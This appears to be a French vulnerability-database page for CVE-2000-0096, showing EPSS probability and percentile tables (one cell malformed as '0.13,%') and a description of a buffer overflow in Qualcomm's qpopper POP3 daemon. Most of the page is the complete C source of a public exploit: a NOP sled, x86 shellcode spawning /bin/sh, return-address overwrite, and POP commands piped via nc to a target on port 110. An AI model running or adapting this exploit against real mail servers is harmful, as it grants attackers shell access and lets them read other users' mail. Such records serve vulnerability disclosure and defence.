CVE-2000-0096 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.13%
2025-03-30	–	–	–	–	0.13%
2025-04-15	–	–	–	–	0.13%
2025-05-01	–	–	–	–	0.13%
2025-05-01	–	–	–	–	0.13,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	3%
2025-03-30	29%
2025-04-15	33%
2025-05-01	34%
2025-05-01	34%

// source: https://www.securityfocus.com/bid/948/info A remotely exploitable buffer-overflow vulnerability affects Qualcomm's 'qpopper' daemon. This issue allows users already in possession of a username and password for a POP account to compromise the server running the qpopper daemon. The problem lies in the code that handles the 'LIST' command available to logged-in users. By providing an overly long argument, an attacker may cause a buffer to overflow. As a result, the attacker can gain access with the user ID (UID) of the user whose account is being used for the attack and with the group ID (GID) mail. This will allow remote attackers to access the server itself and possibly (depending on how the computer is configured) to read other users' mail via the GID mail. /* * !Hispahack Research Team * http://hispahack.ccc.de * * By Zhodiac <zhodiac@softhome.net> * * Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53) * Overflow at pop_list()->pop_msg() * * Tested: 3.0beta28 offset=0 * 3.0beta26 offset=0 * 3.0beta25 offset=0 * * #include <standar/disclaimer.h> * * This code is dedicated to my love [CrAsH]] and to all the people who * were raided in Spain in the last few days. * * Madrid 10/1/2000 * */ #include <stdio.h> #define BUFFERSIZE 1004 #define NOP 0x90 #define OFFSET 0xbfffd9c4 char shellcode[]= "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89" "\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh"; void usage(char *progname) { fprintf(stderr,"Usage: (%s <login> <password> [<offset>]; cat) | nc <target> 110",progname); exit(1); } int main(int argc, char **argv) { char *ptr,buffer[BUFFERSIZE]; unsigned long *long_ptr,offset=OFFSET; int aux; fprintf(stderr,"\n!Hispahack Research Team (http://hispahack.ccc.de)\n"); fprintf(stderr,"Qpopper xploit by Zhodiac <zhodiac@softhome.net>\n\n"); if (argc<3) usage(argv[0]); if (argc==4) offset+=atol(argv[3]); ptr=buffer; memset(ptr,0,sizeof(buffer)); memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16); ptr+=sizeof(buffer)-strlen(shellcode)-16; memcpy(ptr,shellcode,strlen(shellcode)); ptr+=strlen(shellcode); long_ptr=(unsigned long*)ptr; for(aux=0;aux<4;aux++) *(long_ptr++)=offset; ptr=(char *)long_ptr; *ptr='\0'; fprintf(stderr,"Buffer size: %d\n",strlen(buffer)); fprintf(stderr,"Offset: 0x%lx\n\n",offset); printf("USER %s\n",argv[1]); sleep(1); printf("PASS %s\n",argv[2]); sleep(1); printf("LIST 1 %s\n",buffer); sleep(1); printf("uname -a; id\n"); return(0); }